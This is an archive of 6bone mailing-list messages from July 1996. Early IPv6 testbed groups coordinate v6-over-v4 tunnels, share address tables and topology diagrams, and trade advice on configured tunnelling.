Reply-To: minami@sfc.wide.ad.jp
In-Reply-To: Your message of "Fri, 5 Jul 1996 12:10:46 +0200 (METDST)"
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From: =?ISO-2022-JP?B?GyRCJF8kSiRfJF4kNSQtGyhC?= (Masaki Minami) <minami@sfc.wide.ad.jp>
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    Hi, everyone.

    This is Masaki Minami, WIDE Project, Japan.

    We are going to take place "IPv6 Meeting on WIDE Project"
at July 10(JST), now we are preparing to CONNECT to the "World
Wide 6Bone". So, I will inform you that the LIST of all addresses
on WIDE 6Bone.

Regards,

--------
// masaki //

From majordom@ISI.EDU  Sat Jul 13 05:37:14 1996
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Cc: 6bone@isi.edu, hha@tbit.dk, inb@tbit.dk, ole.carsten.pedersen@uni-c.dk
Subject: Re: Tunnel request to WIDE and G6
Reply-To: minami@sfc.wide.ad.jp
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Date: Sat, 13 Jul 1996 21:36:38 +0900
From: =?ISO-2022-JP?B?GyRCJF8kSiRfJF4kNSQtGyhC?= (Masaki Minami) <minami@sfc.wide.ad.jp>
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  Hi, everyone.

  The below is "6Bone Nodes Topology and Node Table" on 
WIDE Project, Japan. Now, we are ready to participate in 
Wolrd Wide 6Bone.

-----------------------------------------------------------------
  *********************************************************
  **                     6Bone nodes                     **
  **                  WIDE Project, Japan                **
  *********************************************************

Current Topology

  Osaka-U
+-----------------------------------+
|strawberry-jam.center.osaka-u.ac.jp|
|      5f09:c200:8504:c00::2        |
+-------------- | ------------------+
                S
  NAIST         S
    +---------- | -----------+
    | 5f09:c200:8504:c00::1  |         U-Tokyo               
    |   zeta.wide.ad.jp      |       +---------------------+
    | 5f09:c200:8504:1500::2 |       | pc1.nezu.wide.ad.jp |
    +---------- | -----------+    5f09:c200:8504:600::2    |
                S                     /--------------------+
  Tokyo         S                    S                      
  +------------ | -------------+    S                       
  |  5f09:c200:8504:1500::1    |   /
  |    pc1.tokyo.wide.ad.jp   5f09:c200:8504:600::1  
  |    5f09:c200:8504:0200::2  |
  +------------ |--------------+
                S
   SFC          S
     +--------- |-------------+
     | 5f09:c200:8504:0200::1 |
     |  globe.sfc.wide.ad.jp  |
     +-------------------  5f09:c200:8504:d00::1         
                                \
                                 S
                          Hitachi S
                               +-- \ --------------------+
                               |  5f09:c200:8504:d00::2  |
                               |eagle.isrd.hitachi.co.jp |
                               +-------------------------+

*******************************************************************
* Serial Line
*	5f09:c200:XXXX:XX00::{1,2}
*	XXXX:XX00 24bit from IPv4 Address
*	Prefixlen 80
*******************************************************************
Tokyo - NAIST (133.4.21.33 - 133.4.21.34/27)
	Tokyo:	5f09:c200:8504:1500::1
	NAIST:	5f09:c200:8504:1500::2

NAIST - Osaka (133.4.12.33 - 133.4.12.34/27)
	NAIST:	5f09:c200:8504:0c00::1
	Osaka:	5f09:c200:8504:0c00::2

SFC - Tokyo(133.4.2.33 - 133.4.2.34/27)
	SFC:	5f09:c200:8504:0200::1
	Tokyo: 	5f09:c200:8504:0200::2

Tokyo - U-Tokyo (133.4.6.33 - 133.4.6.34/27)
	Tokyo:	5f09:c200:8504:0600::1
      U-Tokyo:	5f09:c200:8504:0600::2

SFC - Hitachi (133.4.13.1 - 133.4.13.2/27)
	SFC:	5f09:c200:8504:0d00::1
      Hitachi:	5f09:c200:8504:0d00::2

*******************************************************************
* Ethernet
*	5f09:c200:XXXX:XX00:*******
*	XXXX:XX00:  24bits from IPv4 Address 
*	*******: MAC Address
* Example:
*	MAC Address of globe.sfc.wide.ad.jp is "00a0:2448:7a3c"
*       And IPv4 Address
*	So, IPv6 Address of globe.sfc.wide.ad.jp is
*		5f09:c200:851b::00a0:2448:7a3c
*******************************************************************
globe.sfc.wide.ad.jp
	5f09:c200:851b::00a0:2448:7a3c
eagle.isrd.hitachi.co.jp
	5f09:c200:8590::00a0:243a:6f7c	

-------------------------------------------------------------

  I wounder that we should decide the IPv6 Addresses that are
both of our and your tunnel I/F.

Regards,

		// masaki //

From majordom@ISI.EDU  Sat Jul 13 05:59:00 1996
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To: unigrd@unidhp1.uni-c.dk
Cc: 6bone@isi.edu, hha@tbit.dk, inb@tbit.dk, ole.carsten.pedersen@uni-c.dk
Subject: Re: Tunnel request to WIDE and G6
Reply-To: minami@sfc.wide.ad.jp
In-Reply-To: Your message of "Sat, 13 Jul 1996 21:36:38 +0900"
References: <199607131236.MAA13074@trf.sfc.wide.ad.jp>
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Date: Sat, 13 Jul 1996 21:58:37 +0900
From: =?ISO-2022-JP?B?GyRCJF8kSiRfJF4kNSQtGyhC?= (Masaki Minami) <minami@sfc.wide.ad.jp>
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  Everybody,

  Sorry, I had big mistake...... :p
  Please ignore the last message from me.

  This is correct "Topology and Nodes Table".

  Thanks,

	// masaki //

-----------------------------------------------------------
  *********************************************************
  **                     6Bone nodes                     **
  **                  WIDE Project, Japan                **
  *********************************************************

Current Topology

  Osaka-U
+-----------------------------------+
|strawberry-jam.center.osaka-u.ac.jp|
|      5f09:c400:8504:c00::2        |
+-------------- | ------------------+
                S
  NAIST         S
    +---------- | -----------+
    | 5f09:c400:8504:c00::1  |         U-Tokyo               
    |   zeta.wide.ad.jp      |       +---------------------+
    | 5f09:c400:8504:1500::2 |       | pc1.nezu.wide.ad.jp |
    +---------- | -----------+    5f09:c400:8504:600::2    |
                S                     /--------------------+
  Tokyo         S                    S                      
  +------------ | -------------+    S                       
  |  5f09:c400:8504:1500::1    |   /
  |    pc1.tokyo.wide.ad.jp   5f09:c400:8504:600::1  
  |    5f09:c400:8504:0200::2  |
  +------------ |--------------+
                S
   SFC          S
     +--------- |-------------+
     | 5f09:c400:8504:0200::1 |
     |  globe.sfc.wide.ad.jp  |
     +-------------------  5f09:c400:8504:d00::1         
                                \
                                 S
                          Hitachi S
                               +-- \ --------------------+
                               |  5f09:c400:8504:d00::2  |
                               |eagle.isrd.hitachi.co.jp |
                               +-------------------------+

*******************************************************************
* Serial Line
*	5f09:c400:XXXX:XX00::{1,2}
*	XXXX:XX00 24bit from IPv4 Address
*	Prefixlen 80
*******************************************************************
Tokyo - NAIST (133.4.21.33 - 133.4.21.34/27)
	Tokyo:	5f09:c400:8504:1500::1
	NAIST:	5f09:c400:8504:1500::2

NAIST - Osaka (133.4.12.33 - 133.4.12.34/27)
	NAIST:	5f09:c400:8504:0c00::1
	Osaka:	5f09:c400:8504:0c00::2

SFC - Tokyo(133.4.2.33 - 133.4.2.34/27)
	SFC:	5f09:c400:8504:0200::1
	Tokyo: 	5f09:c400:8504:0200::2

Tokyo - U-Tokyo (133.4.6.33 - 133.4.6.34/27)
	Tokyo:	5f09:c400:8504:0600::1
      U-Tokyo:	5f09:c400:8504:0600::2

SFC - Hitachi (133.4.13.1 - 133.4.13.2/27)
	SFC:	5f09:c400:8504:0d00::1
      Hitachi:	5f09:c400:8504:0d00::2

*******************************************************************
* Ethernet
*	5f09:c400:XXXX:XX00:*******
*	XXXX:XX00:  24bits from IPv4 Address 
*	*******: MAC Address
* Example:
*	MAC Address of globe.sfc.wide.ad.jp is "00a0:2448:7a3c"
*       And IPv4 Address
*	So, IPv6 Address of globe.sfc.wide.ad.jp is
*		5f09:c400:851b::00a0:2448:7a3c
*******************************************************************
globe.sfc.wide.ad.jp
	5f09:c400:851b::00a0:2448:7a3c
eagle.isrd.hitachi.co.jp
	5f09:c400:8590::00a0:243a:6f7c	


From majordom@ISI.EDU  Tue Jul 16 10:43:23 1996
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	id QAA00889; Mon, 15 Jul 1996 16:43:23 GMT
To: 6bone@isi.edu
Subject: 6/15
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Date: Tue, 16 Jul 1996 01:43:23 +0900
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From: Kazuhiko Yamamoto =?ISO-2022-JP?B?GyRCOzNLXE9CSScbKEI=?=  <kazu@is.aist-nara.ac.jp>
Sender: owner-6bone@ISI.EDU
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Hi 6bone guys,

We've waited for the entire arrangement on this list, though, nothing
is mentioned. So, let me say something.

Today, Alian, a G6 guy, contacted us to set up a v6-over-v4 tunnel
between France and Japan. Since he has left for Pari, I couldn't
confirm.  But I guess he tried to use an *automatic tunneling*. That
is, the destination and source IPv6 address of the payload must be
IPv4-compatible-IPv6 address.

We believe that we must not use IPv4-compatible-IPv6 addresses on the
6bone. Rather, all IPv6 address must be test address. 

Anyway, WIDE is now ready. Our tunnel end point is
"june.aist-nara.ac.jp"(163.221.11.21). All nodes on the WIDE IPv6
network has a prefix 5f09:c400::/32.

If you would like to set up a v6-over-v4 tunnel to the WIDE IPv6
network, please post to this ML. We believe that an appropriate tunnel
addressing is as follows:

    5f09:c400:a3dd:400::1       5f09:c400:a3dd:400::2
   june <------- v6 over v4 tunnel---------> yours
     |                                         |
    -+-                                       -+-
163.221.11.21                                any IPv4 addr

P.S.

You can get the entire topology of the WIDE IPv6 network from:
"http://www.wide.ad.jp/wg/ipv6/"

--Kazu

From majordom@ISI.EDU  Mon Jul 15 03:37:42 1996
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To: Kazuhiko Yamamoto =?ISO-2022-JP?B?GyRCOzNLXE9CSScbKEI=?= <kazu@is.aist-nara.ac.jp>
Cc: 6bone@isi.edu, deering@parc.xerox.com
Subject: Re: 6/15 
In-Reply-To: kazu's message of Mon, 15 Jul 96 09:43:23 -0800.
             <886.837449003@mine.aist-nara.ac.jp> 
Date: Mon, 15 Jul 1996 10:37:42 PDT
From: Steve Deering <deering@parc.xerox.com>
Message-Id: <96Jul15.103743pdt."75270"@digit.parc.xerox.com>
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Kazu,

> We believe that we must not use IPv4-compatible-IPv6 addresses on the
> 6bone. Rather, all IPv6 address must be test address. 

That's correct, with one tiny exception: an IPv6 host with no neighboring
IPv6 router may use an IPv4-compatible IPv6 address for itself; as soon
as a neighboring IPv6 router is installed, the host must switch to using
IPv6 "native" addresses (e.g., the test addresses).

Automatic tunelling is not to be used between routers, only between a router
and an isolated host.

Steve


From majordom@ISI.EDU  Fri Jul 19 03:58:04 1996
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To: 6bone@isi.edu
Cc: v6@wide.ad.jp
Subject: 6Bone Status 
Reply-To: minami@sfc.wide.ad.jp
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Date: Thu, 18 Jul 1996 18:58:04 +0900
From: =?ISO-2022-JP?B?GyRCJF8kSiRfJF4kNSQtGyhC?= (Masaki Minami) <minami@sfc.wide.ad.jp>
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  Folks,

  Tunnel Link between WIDE and G6 is now UP at " Thu Jul 18 16:11:29
JST 1996".
  And we are ready to set the Tunnel Link between WIDE and UNI-C up.

  By the way, we, WIDE Project are going to take place the
IPv6 demonstration on Interop, Tokyo.  It is between July, 24 and July
26. You know, some company which is developing IPv6 protocol suite will 
join it. 
   We will introduce the "World Wide 6Bone" and show the "ping" and 
"telnet" DEMO that are toward "World Wide 6Bone".

Regards,
		Masaki Minami, WIDE Project, Japan

From majordom@ISI.EDU  Thu Jul 18 02:12:48 1996
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From: "Alain Durand" <Alain.Durand@imag.fr>
Message-Id: <960718001248.ZM8502@rama.imag.fr>
Date: Thu, 18 Jul 1996 00:12:48 +0200
In-Reply-To: ( Text in unknown character set iso-2022-jp not shown )  (Masaki Minami) <minami@sfc.wide.ad.jp>
        "6Bone Status" (Jul 18,  6:58pm)
References: <199607180958.JAA17606@trf.sfc.wide.ad.jp>
X-Mailer: Z-Mail (4.0b.514 14may96)
To: 6bone@ISI.EDU
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Folks,

I would like to inform you that the tunnel between G6 and UNI-C
is UP since last friday. The tunnel with WIDE is also UP.

Inside G6, hosts in the ipv6.imag.fr and ipv6.inria.fr are reachable,
the other G6 domains will be connected soon.

The 6-bone is starting!

	- Alain.

                                                                        ^_^
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^   U  (* *)
Alain DURAND                       |  Preserve keyboards:           |  ( v )
I.M.A.G.                           |     use completion.            |  /~~~\
Direction des Moyens Informatiques |-----------------------------  <|=< BSD >=
BP 53 38041 Grenoble Cedex 9       | E-Mail: Alain.Durand@imag.fr   |  \   /
France                             | Phone: +33 76 63 57 03         |   <~~<
Postmaster@imag.fr                 | Fax:   +33 76 51 49 64            ~   ~

From majordom@ISI.EDU  Thu Jul 18 00:56:34 1996
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Date: Thu, 18 Jul 1996 07:56:34 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Cc: congratulations@lbl.gov
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Congratulations to the WIDE/Japan, G6/France and UNI-C/Denmark groups for
putting together the first "official" 6bone connections!

We are on our way!


Bob



From majordom@ISI.EDU  Thu Jul 18 01:01:14 1996
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To: v6@wide.ad.jp, g6@imag.fr
Cc: 6bone@isi.edu, deering@parc.xerox.com
Subject: Re: 6Bone Status 
In-Reply-To: Alain.Durand's message of Wed, 17 Jul 96 15:12:48 -0800.
             <960718001248.ZM8502@rama.imag.fr> 
Date: Thu, 18 Jul 1996 08:01:14 PDT
From: Steve Deering <deering@parc.xerox.com>
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> The 6-bone is starting!

Congratulations, WIDE, G6, and UNI-C!

Is anyone maintaining a map of 6bone?

Good luck with the Interop Tokyo demos.

Steve


From majordom@ISI.EDU  Thu Jul 18 08:38:03 1996
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References: Alain.Durand's message of Wed, 17 Jul 96 15:12:48 -0800.      
       <960718001248.ZM8502@rama.imag.fr>
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Date: Thu, 18 Jul 1996 15:38:03 -0700
To: Steve Deering <deering@parc.xerox.com>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: 6Bone Status
Cc: v6@wide.ad.jp, g6@imag.fr, 6bone@isi.edu
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Steve,

>> The 6-bone is starting!
>
>Congratulations, WIDE, G6, and UNI-C!
>
>Is anyone maintaining a map of 6bone?

I had asked Geert Jan de Groot if he could include long/lat in the routing
registry so we could possibly do this automatically in the future.

Meanwhile, I hope to provide at least a rudimentary map for the 6bone web
pages when I'm back from vacation next week (we'll see how that flies in
the face of not having been in the office since before the Montreal IETF
:-).

Outside of simple network names, what should be shown on the map?  All
ideas appreciated.


Would like to hear from Geert on this as he might have his own ideas on
what to do.  At any rate, something should be done soon (and referenced
thru the 6bone web site at a minimum).


Bob



From majordom@ISI.EDU  Fri Jul 19 21:43:10 1996
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To: deering@parc.xerox.com
Cc: v6@wide.ad.jp, g6@imag.fr, 6bone@isi.edu
Subject: Re: 6Bone Status 
Reply-To: minami@sfc.wide.ad.jp
In-Reply-To: Your message of "Thu, 18 Jul 1996 08:01:14 PDT"
References: <96Jul18.080115pdt."75270"@digit.parc.xerox.com>
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Date: Fri, 19 Jul 1996 12:43:10 +0900
From: =?ISO-2022-JP?B?GyRCJF8kSiRfJF4kNSQtGyhC?= (Masaki Minami) <minami@sfc.wide.ad.jp>
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    >> The 6-bone is starting!

    Steve> Congratulations, WIDE, G6, and UNI-C!

    Steve> Is anyone maintaining a map of 6bone?

  You can get the map which shows "WIDE 6Bone" topology from
our WEB page.

	http://www.wide.ad.jp/wg/ipv6/index.html

    Steve> Good luck with the Interop Tokyo demos.

  Thanks, Steve.

		Masaki Minami, WIDE Project, Japan

From majordom@ISI.EDU  Fri Jul 19 07:17:36 1996
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Date: Fri, 19 Jul 96 11:17:36 EDT
From: dhaskin@baynetworks.com (Dimitry Haskin)
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To: 6bone@isi.edu
Subject: where to get an IPv6 prefix
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Hi,

Would some one please to remind me what is the established procedure for getting
a routable IPv6 prefix? We (Bay) would like to get connected to 6bone
(as a stab site at this point).

Dimitry

From majordom@ISI.EDU  Fri Jul 19 01:46:57 1996
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Date: Fri, 19 Jul 1996 08:46:57 -0700
To: dhaskin@baynetworks.com (Dimitry Haskin)
From: Bob Hinden <hinden@ipsilon.com>
Subject: Re: where to get an IPv6 prefix
Cc: 6bone@ISI.EDU, dhaskin@baynetworks.com
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Dimitry,

>Would some one please to remind me what is the established procedure for
>getting
>a routable IPv6 prefix? We (Bay) would like to get connected to 6bone
>(as a stab site at this point).

Use the algorithm in RFC1897 "IPv6 Testing Address Allocation".

Bob



From majordom@ISI.EDU  Fri Jul 19 13:40:35 1996
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From: qv@cs.unh.edu (Quaizar Vohra)
Message-Id: <199607192140.RAA17574@agate.cs.unh.edu>
Subject: tunnel request
To: 6bone@isi.edu (6bone m-list)
Date: Fri, 19 Jul 1996 17:40:35 -0400 (EDT)
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Hi G6, WIDE and UNI-C,

This is a tunnel request from (UNH, BAY, DEC).

Our prefix is 5f02:3000::/32

Our tunnel endpoint is ::132.177.118.22

The machines you can currently ping are :

5f02:3000:84b1:7600::800:912:241a
and
5f02:3000:84b1:7600::800:5add:2217


I will post the entire topology later.  

Is it OK if I request tunnels to more than one prefix, the reason being that the general
5f02:3000::/32 covers all subnets under our autonomous system number, over which I 
don't have much control.

I can ping UNI-C and G6 tunnel endpoint v4-compatible address but I can't ping
WIDE's tunnel endpoint at ::163.221.11.21 . 

Can G6 supply me with some global IPv6 addresses to ping to.

Quaizar
------------------------------------------------------
Quaizar Vohra
Inter-Operatibility Lab. (IOL), Univ. of New Hampshire
E-mail : qv@sun4.iol.unh.edu
Phone : (603)-862-0090


From majordom@ISI.EDU  Fri Jul 19 15:28:25 1996
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To: 6bone@isi.edu
Cc: labovit@merit.edu
Subject: How to configure a tunnel
Date: Fri, 19 Jul 1996 19:28:25 -0400
From: Masaki Hirabaru <masaki@merit.edu>
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6bone folks,

Hi. I'd like to know how to configure a tunnel to 6bone or which
implementation freely available supports configured tunneling.

I tried to use solaris ipv6 first, but it seems to support only
automatic tunneling. I next tried to check freebsd INRIA version,
which supports automatic tunneling, but I'm not sure if it
supports configured tunneling.

By the way, I sent the following message before, but it seems not
to reach at the 6bone mailing-list. I don't know the
reason. Anyway, we're going to join 6bone when we are ready.

Masaki

To: 6bone@isi.edu
cc: GeertJan.deGroot@ripe.net
Cc: labovit@merit.edu
Subject: Join 6bone
Date: Wed, 03 Jul 1996 14:14:52 -0400
From: Masaki Hirabaru <masaki@merit.edu>

6bone folks,

I heard from Jun about 6bone after IETF meeting in Montreal was
over. Craig Labovitz and I at Merit are much interested in
joining 6bone in order to run MRT (Multi-threaded Routing
Toolkit), which supports RIPng now, under real & wider v6
environment. I'd like to know who I should ask to connect our v6
island to the 6bone. Thanks.

Masaki Hirabaru
a member of WIDE Project
but currently with Merit

From majordom@ISI.EDU  Sat Jul 20 13:22:20 1996
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From: Bernard.Tuy@urec.fr
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To: masaki@merit.edu
Subject: Re: How to configure a tunnel
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|   Date: Fri, 19 Jul 1996 19:28:25 -0400
|   From: Masaki Hirabaru <masaki@merit.edu>
|   
|   Hi. I'd like to know how to configure a tunnel to 6bone or which
|   implementation freely available supports configured tunneling.
|   
|   I tried to use solaris ipv6 first, but it seems to support only
|   automatic tunneling. I next tried to check freebsd INRIA version,
|   which supports automatic tunneling, but I'm not sure if it
|   supports configured tunneling.

====BT: Yes it does! since we -G6/France- and some others right now are
	running it for that purpose.

|   (...) Anyway, we're going to join 6bone when we are ready.

====BT: Welcome to the -still- small 6bone operations' group

|   (...) Craig Labovitz and I at Merit are much interested in
|   joining 6bone in order to run MRT (Multi-threaded Routing
|   Toolkit), which supports RIPng now, under real & wider v6
|   environment.

====BT: Fine. Is your code freely available to play with ?


|   I'd like to know who I should ask to connect our v6
|   island to the 6bone. Thanks.

====BT: to connect to G6/France, please ask Alain.Durand@imag.fr
	to connect to WIDE/Japan, ask minami@sfc.wide.ad.jp
	to connect to Uni-C/Denmark, ask unigrd@unidhp1.uni-c.dk

	In fact, the 6bone@ISI.EDU mailing list is the right place to 
	reach everybody you need to connect to, since it'll become 
	painful to enumerate email addresses for all ipv6 clouds
	connected all around the world...

  Cheers,

  +Bernard Tuy.
    G6/France

From majordom@ISI.EDU  Sat Jul 20 13:31:39 1996
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Date: Sat, 20 Jul 1996 11:31:39 +0200
From: Bernard.Tuy@urec.fr
Message-Id: <199607200931.LAA13465@phoebe.urec.fr>
To: qv@cs.unh.edu
Subject: Re: tunnel request
Cc: 6bone@isi.edu
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|   From: qv@cs.unh.edu (Quaizar Vohra)
|   Date: Fri, 19 Jul 1996 17:40:35 -0400 (EDT)
|   
|   This is a tunnel request from (UNH, BAY, DEC).
|   Our prefix is 5f02:3000::/32
|   Our tunnel endpoint is ::132.177.118.22   
|   I will post the entire topology later.  
|   
====BT: Ok. It'd be nice to have a HTML page describing your IPv6 activities in
	general, and your IPv6 topology in particular.

|   
|   I can ping UNI-C and G6 tunnel endpoint v4-compatible address but I can't ping
|   WIDE's tunnel endpoint at ::163.221.11.21 . 

====BT: I've right now the same problem...

|   
|   Can G6 supply me with some global IPv6 addresses to ping to.

====BT: for sure. Please refer to http://www.urec.fr/IPv6/G6-english.html 
	(item "more detailed pictures")

  +Bernard Tuy.
    G6/France

From majordom@ISI.EDU  Sat Jul 20 00:44:33 1996
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Date: Sat, 20 Jul 1996 07:44:33 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: more tunnels and what to do next
Cc: qv@cs.unh.edu (Quaizar Vohra), Masaki Hirabaru <masaki@merit.edu>
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Two new groups have now asked for a tunnel to the 6bone via the 6bone list
(Merit and the UNH/Bay/DEC consortium), and one to me privately (Dqavid
Meyer, Univ. of Oregon).

As I remember our plan from Montreal, we decided to use the G6/Wide/UNI-C
folk as the trial 6bone setup to test out Geert Jan's routing registry,
various 6bone operational issues, and whatever else came up in preparation
to moving beyond these first three networks.  I still think this is a good
idea.

So, I would propose that we wait to hear from Geert Jan (he was about to
send something to the list on the registry early next week), as well as
having some open discussion on this list (hopefully also during the next
week) about how we should handle requests, how to decide where and how
tunnels get built, etc..

Also, we are trying to learn from the MBONE experience so I want to hear
from Steve Deering as well as to how he thinks what has gone on so far fits
with what his experience with the mBONE has been.

I'm concerned that if we don't move fairly carefully as tunnel requests
come in we could end up with a messy mesh on our hands :-)

Again, thanks to the G6/Wide/UNI-C folk for being the testers of all this.
The 6bone is really poised to help the Internet's conversion to v6 (albeit
over a long period of time).


Thanks,

Bob




From majordom@ISI.EDU  Sun Jul 21 09:47:21 1996
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To: 6bone@isi.edu
Cc: niv6@is.aist-nara.ac.jp
Reply-To: niv6@is.aist-nara.ac.jp
Subject: could you please set-up V6 httpd NetWorld+Interop96 tokyo demo?
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Date: Sun, 21 Jul 1996 00:47:21 +0900
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From: Jun-ichiro Itoh <itojun@csl.sony.co.jp>
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	Hello, this is Jun-ichiro Itoh of Sony CSL/Keio Univ.
	We are trying to demonstrate 6bone and IPv6 at NetWorld+Interop96
	which will be held next week, at tokyo.

	For demonstration, we would like to let the visitors play with
	IPv6-ready Mosaic, for demonstrating 6bone availability at this moment.
	So, apparently we need some IPv6-ready httpd servers on the 6bone.

	If you are already connected to Japanese 6bone (which is operated
	by WIDE project), and you are so kind to donate some CPU power for
	IPv6-ready httpd, could you please contact us? (niv6@is.aist-nara.ac.jp)
	1. If you already have IPv6-ready httpd, please let me know
	   IPv6 address/doain name for your http server.
	2. If you do not have IPv6-ready httpd, don't worry!
	   If you have inet6d, you can use very trivial httpd we have
	   implemented.  It should be able to run on any UNIX-based boxes.
	   Contact us for the source code.  Installation phase is also
	   very trivial!

	Thanks for your future cooperation!

itojun@csl.sony.co.jp
Jun-ichiro Itoh

From majordom@ISI.EDU  Sun Jul 21 16:00:35 1996
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To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6bone@ISI.EDU (6BONE Mailer), qv@cs.unh.edu (Quaizar Vohra),
        Masaki Hirabaru <masaki@merit.edu>
Subject: Re: more tunnels and what to do next 
In-Reply-To: Your message of "Sat, 20 Jul 96 07:44:33 PDT."
             <v03007600ae169d365daa@[131.243.112.98]> 
Date: Sun, 21 Jul 96 20:00:35 -0400
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Bob,

I agree.  But we cannot hold up the proliferation of the 6-bone I don't
think for long if there is a single point of failure.  Using RFC 1897 we
can build the addresses but it better for now if Geert is in the loop.

So if someone wants to send sipper.pa-x.dec.com an IPv6 packet they must
go through Europe as opposed to the UNH-BAY-DEC point?  If so that is
not a good idea???

thanks
/jim

From majordom@ISI.EDU  Mon Jul 22 09:16:39 1996
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To: 6bone@isi.edu
Cc: labovit@merit.edu
Subject: Re: How to configure a tunnel 
In-Reply-To: Your message of "Fri, 19 Jul 1996 19:28:25 EDT."
             <199607192328.TAA27219@home.merit.edu> 
Date: Mon, 22 Jul 1996 13:16:39 -0400
From: Masaki Hirabaru <masaki@merit.edu>
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Hi. 6bone folks,

My question was:
> Hi. I'd like to know how to configure a tunnel to 6bone or which
> implementation freely available supports configured tunneling.

The answers are:
INRIA, NRL, and Linux versions support configured tunneling.
Solaris version seems not to support it now.

So, I'm going to figure out how to configure it under INRIA
version we've currently installed. I'm asking Francis Dupont.

>> |   (...) Craig Labovitz and I at Merit are much interested in
>> |   joining 6bone in order to run MRT (Multi-threaded Routing
>> |   Toolkit), which supports RIPng now, under real & wider v6
>> |   environment.
>> 
>> ====BT: Fine. Is your code freely available to play with ?

If you are interested, please see http://compute.merit.edu/mrt/.
Yes, it's freely available. The current released version has
implemented the basic part of ripng, and the next release will
have a lot of improvements.

Thank you for responding my query. The following is its summary.

Masaki Hirabaru
Merit
---

Date: Sat, 20 Jul 1996 01:56:47 +0100
From: Pedro Roque Marques <roque@di.fc.ul.pt>

I know that both NRL and Linux support configured tunneling.
On Linux you have to bring the tunneling device up and then just do
route add prefix gw ::ddd.ddd.ddd.ddd

(the tunnel device just needs an ifconfig up, it will try to detect
your v4 addresses and configure them as v4-compat) 

./Pedro.

From: Bernard.Tuy@urec.fr
Date: Sat, 20 Jul 1996 11:22:20 +0200

====BT: Yes it does! since we -G6/France- and some others right now are
	running it for that purpose.

  +Bernard Tuy.
    G6/France

From: Francis Dupont <Francis.Dupont@inria.fr>
Date: Sat, 20 Jul 1996 17:16:56 +0200

=> according to my G6 colleagues, the Solaris implementation
doesn't support configured tunneling (exactly the routed
prefix must be an IPv4-compatible one).

=> My implementations support both automatic (via a direct cloning
route for the ::/96 prefix) and configured tunnels (just create
a route with an IPv4-compatible gateway).

Thanks

Francis.Dupont@inria.fr

Date: Sun, 21 Jul 1996 13:27:34 -0400
From: Craig Metz <cmetz@inner.net>
Subject: Re: How to configure a tunnel

	The NRL IPv6 code will happily do configured tunnels, optionally
with authentication and encryption.

							-Craig

--

From majordom@ISI.EDU  Mon Jul 22 11:41:53 1996
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To: Masaki Hirabaru <masaki@merit.edu>
Cc: 6bone@ISI.EDU, labovit@merit.edu
Subject: Re: How to configure a tunnel 
In-Reply-To: Your message of "Mon, 22 Jul 96 13:16:39 EDT."
             <199607221716.NAA24245@home.merit.edu> 
Date: Mon, 22 Jul 96 15:41:53 -0400
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>My question was:
>> Hi. I'd like to know how to configure a tunnel to 6bone or which
>> implementation freely available supports configured tunneling.
>
>The answers are:
>INRIA, NRL, and Linux versions support configured tunneling.
>Solaris version seems not to support it now.

Digital UNIX and Digital Routers (WGE and Routabout) also support
configured tunneling too.  We also have RIPv2v6 working too.

thanks
/jim

From majordom@ISI.EDU  Mon Jul 22 11:41:53 1996
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To: Masaki Hirabaru <masaki@merit.edu>
Cc: 6bone@ISI.EDU, labovit@merit.edu
Subject: Re: How to configure a tunnel 
In-Reply-To: Your message of "Mon, 22 Jul 96 13:16:39 EDT."
             <199607221716.NAA24245@home.merit.edu> 
Date: Mon, 22 Jul 96 15:41:53 -0400
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>My question was:
>> Hi. I'd like to know how to configure a tunnel to 6bone or which
>> implementation freely available supports configured tunneling.
>
>The answers are:
>INRIA, NRL, and Linux versions support configured tunneling.
>Solaris version seems not to support it now.

Digital UNIX and Digital Routers (WGE and Routabout) also support
configured tunneling too.  We also have RIPv2v6 working too.

thanks
/jim

From majordom@ISI.EDU  Tue Jul 23 10:08:44 1996
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To: 6bone@ISI.EDU
Subject: ESnet tunnel up
Date: Tue, 23 Jul 96 17:08:44 -0700
From: "Rebecca L. Nitzan" <nitzan@es.net>
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Hi:

    We have a host up on the 6bone routed via Cisco at the
moment. Hopefully next week we'll be able to forward v6 
traffic through this tunnel endpoint. So far I can ping the 
following hosts:

NRL:    5f00:3000:84fa:0000:0000:0000:0000:0001
NRL:    5f00:3000:84fa:0000:0000:0000:0000:0002
NRL:    5f00:3000:84fa:0000:0000:0000:0000:0003
NRL:    5f00:3000:84fa:0000:0000:0000:0000:0004
PEDRO:  5f0c:b300:c043:4c00:0001:0000:0000:0002
CISCO:  5f00:6d00:c01f:0700:0003:0000:0000:0001



 ------------------                                 -----------------------
|                  |    ........    ...........    |                        |
| tw2.es.net       |---: ESnet  :--: bbnplanet :---| 6bone-router.cisco.com |
| Dec Alpha        |   : AS293  :  : AS1       :   | Cisco                  |
| LBL California   |    ........    ...........    | PA area                |
 ------------------                                 ------------------------
                   |                               |
                   |<------v6 over v4 tunnel------>|

                   ====> traffic defaults via Cisco


tw2.es.net      ipv6 address = 5f01:2500:c680:400:0:800:2bbc:4cc3





			-- Becca

-----------------------------------------------------------------------
Rebecca L. Nitzan                        Lawrence Berkeley National Lab
Network Engineering Services Group       1 Cyclotron Rd, 50A/3101 MS 50C
ESnet - Energy Sciences Network          Berkeley, CA. 94720
phone: 510-486-6468 fax: 510-486-4300    nitzan@es.net
-----------------------------------------------------------------------

From majordom@ISI.EDU  Thu Jul 25 15:14:17 1996
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To: 6bone@isi.edu
Cc: labovit@merit.edu
Subject: Re: How to configure a tunnel 
In-Reply-To: Your message of "Sat, 20 Jul 1996 11:22:20 +0200."
             <199607200922.LAA13457@phoebe.urec.fr> 
Date: Thu, 25 Jul 1996 19:14:17 -0400
From: Masaki Hirabaru <masaki@merit.edu>
Sender: owner-6bone@ISI.EDU
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Status: RO

6bone folks,

Bernard Tuy writes,
> |   automatic tunneling. I next tried to check freebsd INRIA version,
> |   which supports automatic tunneling, but I'm not sure if it
> |   supports configured tunneling.
> 
> ====BT: Yes it does! since we -G6/France- and some others right now are
> 	running it for that purpose.

After exchanging a couple of messages with Francis Dupont, we
finally found that one file (netinet/in.c) had been missing in
the released package of INRIA ipv6 for freebsd. It was very tiny
modification, but confused me. I attached a diff based on
Francis's information.

So, Merit has become completely ready for making a tunnel to
6bone now. I'm waiting.

For making a private (non-routable) ipv6 testing prefix for the
